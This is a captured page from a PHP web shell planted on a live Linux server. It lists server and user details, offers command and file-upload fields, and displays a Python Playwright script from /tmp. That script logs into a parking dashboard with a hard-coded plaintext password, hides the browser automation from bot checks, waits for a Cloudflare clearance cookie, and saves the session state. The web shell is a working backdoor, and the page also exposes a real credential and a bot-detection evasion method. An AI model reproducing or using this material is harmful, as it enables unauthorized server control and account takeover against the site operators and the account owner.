403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/pl_login4.py
from playwright.sync_api import sync_playwright
BASE="https://www.parkinglist.de/ParkingDashboard"
USER="service@parken-am-schiff.de"; PW="BYx63wLLxP"
UA="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
STEALTH="""
Object.defineProperty(navigator,'webdriver',{get:()=>undefined});
Object.defineProperty(navigator,'languages',{get:()=>['de-DE','de','en-US','en']});
Object.defineProperty(navigator,'plugins',{get:()=>[1,2,3,4,5]});
window.chrome={runtime:{}};
const o=window.navigator.permissions.query;
window.navigator.permissions.query=(p)=>p&&p.name==='notifications'?Promise.resolve({state:Notification.permission}):o(p);
"""
def have_clear(ctx): return any(c["name"]=="cf_clearance" for c in ctx.cookies())
with sync_playwright() as p:
    b=p.chromium.launch(headless=True,args=["--no-sandbox","--disable-blink-features=AutomationControlled"])
    ctx=b.new_context(user_agent=UA,locale="de-DE",viewport={"width":1440,"height":960},
        extra_http_headers={"Accept-Language":"de-DE,de;q=0.9,en;q=0.8"})
    ctx.add_init_script(STEALTH)
    pg=ctx.new_page()
    pg.on("response",lambda r:(r.url.endswith("login.xhtml") and r.request.method=="POST") and print("LOGIN POST ->",r.status))
    pg.goto(f"{BASE}/login.xhtml",wait_until="networkidle",timeout=60000)
    for _ in range(15):
        if have_clear(ctx): break
        pg.wait_for_timeout(1000)
    print("clearance:",have_clear(ctx)," webdriver:",pg.evaluate("()=>navigator.webdriver"))
    pg.fill("#username",USER); pg.fill("#password",PW)
    # full-page form POST instead of PrimeFaces XHR
    pg.evaluate("""()=>{var f=document.getElementById('loginForm');
      var a=function(n,v){var i=document.createElement('input');i.type='hidden';i.name=n;i.value=v;f.appendChild(i);};
      a('login','login'); f.submit();}""")
    try:
        pg.wait_for_load_state("networkidle",timeout=30000)
    except: pass
    pg.wait_for_timeout(4000)
    print("URL:",pg.url," title:",pg.title())
    print("BODY:",pg.inner_text("body")[:500].replace("\n"," | "))
    ctx.storage_state(path="/tmp/pl_state.json")
    pg.screenshot(path="/tmp/pl_dash.png",full_page=True)
    b.close()

Youez - 2016 - github.com/yon3zu
LinuXploit